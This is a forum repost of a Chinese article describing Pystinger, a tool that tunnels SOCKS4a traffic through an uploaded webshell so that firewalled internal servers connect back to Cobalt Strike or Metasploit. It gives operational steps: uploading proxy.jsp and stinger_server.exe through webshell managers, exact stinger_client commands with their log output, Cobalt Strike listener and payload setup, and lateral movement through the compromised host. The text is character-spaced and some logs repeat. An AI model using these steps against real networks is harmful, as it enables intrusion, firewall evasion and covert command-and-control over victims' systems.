搜索

[21992] 2021-05-21_Pystinger-使用Webshell绕过防火墙进行流量转发

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2021-05-21_Pystinger-使用Webshell绕过防火墙进行流量转发 P y s t i n g e r   -   使 用 W e b s h e l l 绕 过 防 火 墙 进 行 流 量 转 发 L e m o n S e c   2 0 2 1 - 0 5 - 2 1 文 章 来 文 章 来 源 ： 源 ： K h a n 安 全 攻 防 实 验 室 安 全 攻 防 实 验 室 p y s t i n g e r 通 过 w e b s h e l l 实 现 内 网 S O C K 4 代 理 , 端 口 映 射 ， 可 直 接 用 于 m e t a s p l o i t - f r a m e w o r k , v i p e r , c o b a l t   s t r i k e 上 线 。                 主 体 使 用 p y t h o n 开 发 , 当 前 支 持 p h p , j s p ( x ) , a s p x 三 种 代 理 脚 本 。           假 设 不 出 网 服 务 器 域 名 为   h t t p : / / e x a m p l e . c o m : 8 0 8 0   , 服 务 器 内 网 I P 地 址 为 1 9 2 . 1 6 8 . 3 . 1 1 1   .   S O C K 4 代 理 代 理 p r o x y . j s p 上 传 到 目 标 服 务 器 , 确 保   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   可 以 访 问 , 页 面 返 回   将 s t i n g e r _ s e r v e r . e x e 上 传 到 目 标 服 务 器 , 蚁 剑 / 冰 蝎 执 行 启 动 服 务 端 不 要 直 接 运 行 D : / X X X / s t i n g e r _ s e r v e r . e x e , 会 导 致 t c p 断 连 v p s 执 行 如 下 输 出 表 示 成 功 U T F - 8 s t a r t   D : / X X X / s t i n g e r _ s e r v e r . e x e . / s t i n g e r _ c l i e n t   - w   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   - l   1 2 7 . 0 . 0 . 1   - p   6 0 0 0 0 r o o t @ k a l i : ~ #   . / s t i n g e r _ c l i e n t   - w   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   - l   1 2 7 . 0 . 0 . 1   - p   6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 3   -   I N F O   -   6 1 9   -   L o c a l   l i s t e n   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 2   -   L o c a l   l i s t e n   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 3   -   S o c k s 4 a   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 8   -   W E B S H E L L   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 1   -   I N F O   -   6 3 1   -   W E B S H E L L   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 1   -   I N F O   -   6 3 2   -   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 2   -   I N F O   -   6 3 7   -   R E M O T E _ S E R V E R   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 4   -   R E M O T E _ S E R V E R   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 5   -   - - -   S e v e r   C o n f i g   - - - 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   c l i e n t _ a d d r e s s _ l i s t   = >   [ ]
此 时 已 经 在 v p s 启 动 了 一 个 所 在 内 网 的 s o c k s 4 a 代 理 此 时 已 经 将 目 标 服 务 器 的 映 射 到 v p s 的 2   .   c o b a l t   s t r i k e 单 主 机 上 线 单 主 机 上 线 p r o x y . j s p 上 传 到 目 标 服 务 器 , 确 保   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   可 以 访 问 , 页 面 返 回   将 s t i n g e r _ s e r v e r . e x e 上 传 到 目 标 服 务 器 , 蚁 剑 / 冰 蝎 执 行 启 动 服 务 端 不 要 直 接 运 行 D : / X X X / s t i n g e r _ s e r v e r . e x e , 会 导 致 t c p 断 连 s t i n g e r _ c l i e n t 命 令 行 执 行 如 下 输 出 表 示 成 功 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   S E R V E R _ L I S T E N   = >   1 2 7 . 0 . 0 . 1 : 6 0 0 1 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   L O G _ L E V E L   = >   I N F O 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   M I R R O R _ L I S T E N   = >   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   m i r r o r _ a d d r e s s _ l i s t   = >   [ ] 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   R E A D _ B U F F _ S I Z E   = >   5 1 2 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 3   -   T A R G E T _ A D D R E S S   :   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 7   -   S L E E P _ T I M E   :   0 . 0 1 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 9   -   - - -   R A T   C o n f i g   - - - 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 8 1   -   H a n d l e r / L I S T E N   s h o u l d   l i s t e n   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 8 3   -   P a y l o a d   s h o u l d   c o n n e c t   t o   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 8   -   W A R N I N G   -   1 1 1   -   L o o p T h r e a d   s t a r t 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 7 0 3   -   W A R N I N G   -   5 0 2   -   s o c k s 4 a   s e r v e r   s t a r t   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 7 0 3   -   W A R N I N G   -   5 0 9   -   S o c k s 4 a   r e a d y   t o   a c c e p t 1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 e x a m p l e . c o m 1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 U T F - 8 s t a r t   D : / X X X / s t i n g e r _ s e r v e r . e x e . / s t i n g e r _ c l i e n t   - w   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   - l   1 2 7 . 0 . 0 . 1   - p   6 0 0 0 0
c o b a l t   s t r i k e 添 加 监 听 , 端 口 选 择 输 出 信 息 R A T   C o n f i g 中 的 H a n d l e r / L I S T E N 中 的 端 口 ( 通 常 为 6 0 0 2 0 ) , b e a c o n s 为 1 2 7 . 0 . 0 . 1 生 成 p a y l o a d , 上 传 到 主 机 运 行 后 即 可 上 线 3   .   c o b a l t   s t r i k e 多 主 机 上 线 多 主 机 上 线 p r o x y . j s p 上 传 到 目 标 服 务 器 , 确 保   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   可 以 访 问 , 页 面 返 回   将 s t i n g e r _ s e r v e r . e x e 上 传 到 目 标 服 务 器 , 蚁 剑 / 冰 蝎 执 行 启 动 服 务 端 r o o t @ k a l i : ~ #   . / s t i n g e r _ c l i e n t   - w   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   - l   1 2 7 . 0 . 0 . 1   - p   6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 3   -   I N F O   -   6 1 9   -   L o c a l   l i s t e n   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 2   -   L o c a l   l i s t e n   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 3   -   S o c k s 4 a   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 8   -   W E B S H E L L   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 1   -   I N F O   -   6 3 1   -   W E B S H E L L   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 1   -   I N F O   -   6 3 2   -   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 2   -   I N F O   -   6 3 7   -   R E M O T E _ S E R V E R   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 4   -   R E M O T E _ S E R V E R   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 5   -   - - -   S e v e r   C o n f i g   - - - 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   c l i e n t _ a d d r e s s _ l i s t   = >   [ ] 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   S E R V E R _ L I S T E N   = >   1 2 7 . 0 . 0 . 1 : 6 0 0 1 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   L O G _ L E V E L   = >   I N F O 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   M I R R O R _ L I S T E N   = >   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   m i r r o r _ a d d r e s s _ l i s t   = >   [ ] 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   R E A D _ B U F F _ S I Z E   = >   5 1 2 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 3   -   T A R G E T _ A D D R E S S   :   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 7   -   S L E E P _ T I M E   :   0 . 0 1 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 9   -   - - -   R A T   C o n f i g   - - - 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 8 1   -   H a n d l e r / L I S T E N   s h o u l d   l i s t e n   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 8 3   -   P a y l o a d   s h o u l d   c o n n e c t   t o   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 8   -   W A R N I N G   -   1 1 1   -   L o o p T h r e a d   s t a r t 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 7 0 3   -   W A R N I N G   -   5 0 2   -   s o c k s 4 a   s e r v e r   s t a r t   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 7 0 3   -   W A R N I N G   -   5 0 9   -   S o c k s 4 a   r e a d y   t o   a c c e p t U T F - 8 s t a r t   D : / X X X / s t i n g e r _ s e r v e r . e x e   1 9 2 . 1 6 8 . 3 . 1 1
1 9 2 . 1 6 8 . 3 . 1 1 可 以 改 成 0 . 0 . 0 . 0 s t i n g e r _ c l i e n t 命 令 行 执 行 如 下 输 出 表 示 成 功 c o b a l t   s t r i k e 添 加 监 听 , 端 口 选 择 R A T   C o n f i g 中 的 H a n d l e r / L I S T E N 中 的 端 口 ( 通 常 为 6 0 0 2 0 ) , b e a c o n s 为 1 9 2 . 1 6 8 . 3 . 1 1 ( e x a m p l e . c o m 的 内 网 I P 地 址 ) 生 成 p a y l o a d , 上 传 到 主 机 运 行 后 即 可 上 线 横 向 移 动 到 其 他 主 机 时 可 以 将 p a y l o a d 指 向 1 9 2 . 1 6 8 . 3 . 1 1 : 6 0 0 2 0 即 可 实 现 出 网 上 线 4   .   定 制 定 制 H e a d e r 及 及 p r o x y . / s t i n g e r _ c l i e n t   - w   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   - l   1 2 7 . 0 . 0 . 1   - p   6 0 0 0 0 r o o t @ k a l i : ~ #   . / s t i n g e r _ c l i e n t   - w   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p   - l   1 2 7 . 0 . 0 . 1   - p   6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 3   -   I N F O   -   6 1 9   -   L o c a l   l i s t e n   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 2   -   L o c a l   l i s t e n   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 3   -   S o c k s 4 a   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 7 4   -   I N F O   -   6 2 8   -   W E B S H E L L   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 1   -   I N F O   -   6 3 1   -   W E B S H E L L   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 1   -   I N F O   -   6 3 2   -   h t t p : / / e x a m p l e . c o m : 8 0 8 0 / p r o x y . j s p 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 8 2   -   I N F O   -   6 3 7   -   R E M O T E _ S E R V E R   c h e c k i n g   . . . 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 4   -   R E M O T E _ S E R V E R   c h e c k   p a s s 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 5   -   - - -   S e v e r   C o n f i g   - - - 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   c l i e n t _ a d d r e s s _ l i s t   = >   [ ] 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   S E R V E R _ L I S T E N   = >   1 2 7 . 0 . 0 . 1 : 6 0 0 1 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 6   -   I N F O   -   6 4 7   -   L O G _ L E V E L   = >   I N F O 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   M I R R O R _ L I S T E N   = >   1 9 2 . 1 6 8 . 3 . 1 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   m i r r o r _ a d d r e s s _ l i s t   = >   [ ] 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 4 7   -   R E A D _ B U F F _ S I Z E   = >   5 1 2 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 3   -   T A R G E T _ A D D R E S S   :   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 7   -   S L E E P _ T I M E   :   0 . 0 1 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 7 9   -   - - -   R A T   C o n f i g   - - - 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 8 1   -   H a n d l e r / L I S T E N   s h o u l d   l i s t e n   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 7   -   I N F O   -   6 8 3   -   P a y l o a d   s h o u l d   c o n n e c t   t o   1 9 2 . 1 6 8 . 3 . 1 1 : 6 0 0 2 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 6 9 8   -   W A R N I N G   -   1 1 1   -   L o o p T h r e a d   s t a r t 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 7 0 3   -   W A R N I N G   -   5 0 2   -   s o c k s 4 a   s e r v e r   s t a r t   o n   1 2 7 . 0 . 0 . 1 : 6 0 0 0 0 2 0 2 0 - 0 1 - 0 6   2 1 : 1 2 : 4 7 , 7 0 3   -   W A R N I N G   -   5 0 9   -   S o c k s 4 a   r e a d y   t o   a c c e p t
如 果 w e b s h e l l 需 要 配 置 C o o k i e 或 者 A u t h o r i z a t i o n , 可 通 过 - - h e a d e r 参 数 配 置 请 求 头 如 果 w e b s h e l l 需 要 通 过 代 理 访 问 , 可 通 过 - - p r o x y 设 置 代 理 s t i n g e r _ s e r v e r s t i n g e r _ c l i e n t w i n d o w s l i n u x p r o x y . j s p ( x ) / p h p / a s p x p h p 7 . 2 t o m c a t 7 . 0 i i s 8 . 0 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / F u n n y W o l f / p y s t i n g e r / r e l e a s e s / t a g / v 1 . 6 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 - - h e a d e r   " A u t h o r i z a t i o n :   X X X X X X , C o o k i e :   X X X X X " - - p r o x y   " s o c k s 5 : 1 2 7 . 0 . 0 . 1 : 1 0 8 1 "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理